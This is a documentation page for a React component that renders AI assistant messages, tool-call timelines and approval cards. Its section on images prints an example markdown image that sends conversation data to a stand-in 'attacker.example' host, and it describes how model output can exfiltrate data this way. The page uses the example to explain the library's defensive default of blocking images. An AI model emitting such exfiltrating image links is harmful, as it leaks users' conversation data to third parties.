Skip to content
signoff-uiv0.14.1

Docs

Components

AgentMessage

A whole assistant message: reasoning, streaming markdown, tool calls, approvals and sources.

Example

Interactive, and the same on the components page. Try the keyboard below on it.

Installation

npm i signoff-ui ai
TSX
import { AgentMessage } from 'signoff-ui';
// Once per app (with Tailwind v4: @import 'signoff-ui/tailwind.css'; in your CSS)
import 'signoff-ui/styles.css';

The styles are once per app; Getting started has the Tailwind v4 and plain CSS options.

Usage

TSX
const { messages, status, addToolApprovalResponse } = useChat();
const last = messages.findLast((m) => m.role === 'assistant');

{last && (
  <AgentMessage
    message={last}
    streaming={status === 'streaming'}
    tools={{ run_command: { label: 'Run command', risk: 'high' } }}
    onToolApproval={addToolApprovalResponse}
  />
)}

How it works

A whole assistant UIMessage, part by part: streaming-safe markdown, collapsible reasoning that summarizes how long the model thought, consecutive tool parts grouped into one timeline with inline approval cards, files, data-* parts through renderData, and sources. renderTool lets you take over any tool part, as the quickstart does for review_changes with a DiffReview. What renderTool and renderData return is your content: with styles.css, the kit's rules don't reach into it, and components you render there are styled as usual.

Images in text and reasoning don't load unless they're allowed: a URL in model output can carry data out of the conversation as soon as the browser fetches it (![](https://attacker.example/p.png?d=…)), so by default an image renders as a link with its alt text, or as plain text inside the link it belongs to (a badge). allowedImageHosts takes:

  • host names: 'images.example.com' matches any port, 'localhost:3000' only that port;
  • 'self': relative URLs such as /logo.png, which load from your own origin. Protocol-relative URLs (//host/x) are not relative, and absolute URLs to your own site need their host listed. Relative requests carry your cookies, so allow 'self' only if GET requests to your origin have no side effects;
  • '*': every image.
TSX
const IMAGE_HOSTS = ['images.example.com', 'self'];

<AgentMessage message={last} allowedImageHosts={IMAGE_HOSTS} />;

The list is compared by value, so an inline array works as well: it does not re-render the finished text on every streamed delta. Image file parts follow the same list, except that data: and blob: URLs, which need no request, always preview.

Your own Markdown renderer

Text and reasoning render with the built-in Markdown, which brings react-markdown and remark-gfm. If your app already has a renderer, such as Streamdown, pass it as renderMarkdown and import AgentMessage from signoff-ui/custom-markdown: that entry has no built-in renderer, so react-markdown stays out of your bundle (bundle size). Streamdown is not a dependency of signoff-ui: install and style it as its docs say.

Restrict images in your renderer. allowedImageHosts protects only the built-in renderer. A custom renderer gets the list as a prop, but nothing enforces it, and Streamdown 2.7 loads images from any host by default. An image in model output can then send data out of the conversation as soon as it renders. Check each image's host yourself, as components.img does below.

TSX
import { AgentMessage, type MarkdownRenderer } from 'signoff-ui/custom-markdown';
import { defaultComponents, Streamdown, type Components } from 'streamdown';

const IMAGE_HOSTS = ['images.example.com'];
const allowed = (src: unknown) =>
  typeof src === 'string' && URL.canParse(src) && IMAGE_HOSTS.includes(new URL(src).hostname);

// Outside the component: a new function or object renders every text part again.
const components: Components = {
  // An image from any other host shows its alt text instead.
  img: (props) => (allowed(props.src) ? <defaultComponents.img {...props} /> : (props.alt ?? null)),
};

const renderMarkdown: MarkdownRenderer = ({ children, streaming }) => (
  <Streamdown isAnimating={streaming} components={components}>
    {children}
  </Streamdown>
);

<AgentMessage message={last} streaming={status === 'streaming'} renderMarkdown={renderMarkdown} />;

MarkdownRendererProvider sets the renderer once for every AgentMessage and Reasoning inside it, from either entry. What the renderer returns is your content, like renderTool's. It also gets citations and citationPrefix, to link [n] markers to #${citationPrefix}-${n}, and allowedImageHosts as the component got it, which your renderer has to enforce itself (see the note above). Without a renderer, signoff-ui/custom-markdown shows the text as it is. If you render Reasoning on its own, import it from signoff-ui/custom-markdown too: AgentMessage, Reasoning and Markdown from signoff-ui bring react-markdown back.

API reference

Generated from the types the package ships, so it matches the version you install.

AgentMessage

Renders an assistant UIMessage part by part: streaming markdown, collapsible reasoning, consecutive tool calls grouped into a timeline (with inline approval cards), files, and the message's sources with linked inline citations.

Props

messagerequired
Pick<UIMessage, 'id' | 'role' | 'parts'>
streaming
booleanDefault false

The message is still being generated. Text parts with an explicit state take precedence.

active
booleanDefault true

Whether the run can still make progress, including while it waits on the user. Pass false once it has ended (stopped, failed, or an older message): tool calls that never settled read "Stopped" instead of running forever, and text left streaming loses its caret. See ToolCallTimeline's active.

failed
booleanDefault false

The run ended in an error (useChat's status === 'error', or a run restored from history that ended in one). With active={false}, approved calls whose result never came back then read "Stopped" too. See ToolCallTimeline's failed.

tools
Record<string, ToolMeta>
renderTool
(part: ToolPart) => ReactNode | undefined

Render a tool part yourself. Return undefined to use the default timeline, or null to render nothing. Custom-rendered parts split the timeline. What you return is your app's content: it sits in a data-signoff-slot element, and styles.css leaves it to your CSS (components you render in it are styled as usual).

onToolApproval
(response: ToolApprovalResponse) => void | PromiseLike<void>

Enables inline approval cards. Pass useChat().addToolApprovalResponse.

approvalProps
Partial<Omit<ApprovalCardProps, 'toolName' | 'status' | 'onApprove' | 'onDeny'>>

Props forwarded to every approval card, e.g. { autoFocus: true }.

approvalPolicy
ApprovalPolicy

Approval rules from useApprovalPolicy: cards offer once, this session and always, a rule's decisions are made without asking, and two or more waiting approvals get "Approve all".

onToolInputEdit
(toolCallId: string, input: unknown) => void

Lets a person edit a call's arguments before approving it, and applies the edit. With AI SDK 7: (id, input) => setMessages((m) => setToolInput(m, id, input)); with useAgUiAgent, its editInput.

renderData
(part: DataPart) => ReactNode

Render data-* parts. They are skipped when omitted. Your content, like renderTool's. A sub-agent's part (data-signoff-subagent) is not one of them: the timeline nests its calls.

renderMarkdown
MarkdownRenderer

Renders the text parts and the reasoning instead of the built-in Markdown, with Streamdown or your own renderer. What it returns is your content, like renderTool's. Overrides MarkdownRendererProvider. Import AgentMessage from signoff-ui/custom-markdown to leave react-markdown out of your bundle. Keep the function stable: a new one renders every text part again. allowedImageHosts is not enforced for it: restrict images in your renderer.

showSources
booleanDefault true
sourcesVariant
'chips' | 'cards'Default 'chips'
allowedImageHosts
readonly string[]

Where images in text, reasoning and image file parts may load from: host names, 'self' for relative URLs, or '*' for every image. Default: none, so other images render as links. File parts with data: and blob: URLs always preview. See MarkdownProps.allowedImageHosts.

timings
ToolTimings

Externally measured tool timings. Measured client-side when omitted.

pendingClientTools
readonly string[]

Client-side tools a person answers, such as a review: the names you give deriveAgentState. Their calls show no duration, since the time is the person's. See ToolCallTimeline's.

labels
SignoffLabelsInput

Words to use instead of the English defaults, for the message and all it renders: see SignoffLabelsProvider.

Other props go to the root <article>: className (merged with tailwind-merge), id, aria-*, data-* and event handlers.

MarkdownRendererProvider

Sets the Markdown renderer of every AgentMessage and Reasoning inside, unless one has its own renderMarkdown. Keep the function stable: a new one renders every text part again.

Props

renderMarkdownrequired
MarkdownRenderer

The renderer for every AgentMessage and Reasoning inside. undefined restores the built-in one.

children
ReactNode

ToolMeta

Per-tool presentation. Every field is optional.

label
string

Display label. Defaults to the humanized tool name.

icon
ReactNode
summary
(input: unknown, part: ToolPart) => ReactNode

One-line summary shown next to the label. Defaults to the most descriptive input field. Not called before any input has arrived; while the input streams it can be partial.

renderOutput
(output: unknown, part: ToolPart) => ReactNode

Replace the default JSON output view. Your content, like AgentMessage's renderTool.

risk
RiskLevel | ((input: unknown) => RiskLevel)

Risk shown on approval requests for this tool.

ToolApprovalResponse

The answer to one approval request, as the AI SDK's addToolApprovalResponse takes it.

idrequired
string

The approval request's id, part.approval.id: not the tool call's id.

approvedrequired
boolean

true to run the call, false to deny it.

reason
string

The reason given with the decision, such as the one the person typed when denying.

MarkdownRenderer

Renders text as markup instead of the built-in Markdown: Streamdown, or your own.

TypeScript
type MarkdownRenderer = (props: MarkdownRendererProps) => ReactNode;

MarkdownRendererProps

What a Markdown renderer gets for each text part, and for the reasoning.

childrenrequired
string

The text, as Markdown.

streamingrequired
boolean

The text is still arriving: a renderer can close unterminated syntax and show a caret.

citationsrequired
number

The number of the message's sources. [n] markers up to it can link to #${citationPrefix}-${n}, the ids AgentMessage gives its sources. 0 in reasoning.

citationPrefixrequired
string

The start of those ids.

allowedImageHostsrequired
readonly string[]

Where images may load from, as the component got it: see MarkdownProps.allowedImageHosts. Only the built-in renderer enforces it: yours has to drop images from other hosts itself.

Accessibility

Keyboard
KeysAction
↑↓Move between tool calls in a timeline
YNApprove or deny, with focus in an approval card
  • The message is an <article> with aria-busy while it streams, so screen readers wait for the text to settle.
  • Each part keeps its own behavior: the tool timeline, approval cards, reasoning and sources below all apply.
  • Images in model output don't load unless allowedImageHosts allows them; a blocked image is a link with its alt text, read as "Image:".
  • Citation markers such as [2] become links named "Source 2" to the matching source.

Theming

Every color, radius and font is a CSS variable, so the overrides in Theming apply, on :root or scoped to any element. These hooks are read from the component's markup.

Slots (data-slot)
signoff-agent-message
State attributes
data-roleon signoff-agent-messagethe message’s role: assistant, user or system
Tokens it uses
--signoff-border--signoff-fg--signoff-fg-subtle--signoff-font-sans--signoff-ring--signoff-surface--signoff-surface-2
app/globals.css
/* Only this component, and only inside .settings-panel */
.settings-panel [data-slot='signoff-agent-message'] {
  --signoff-radius: 4px;
}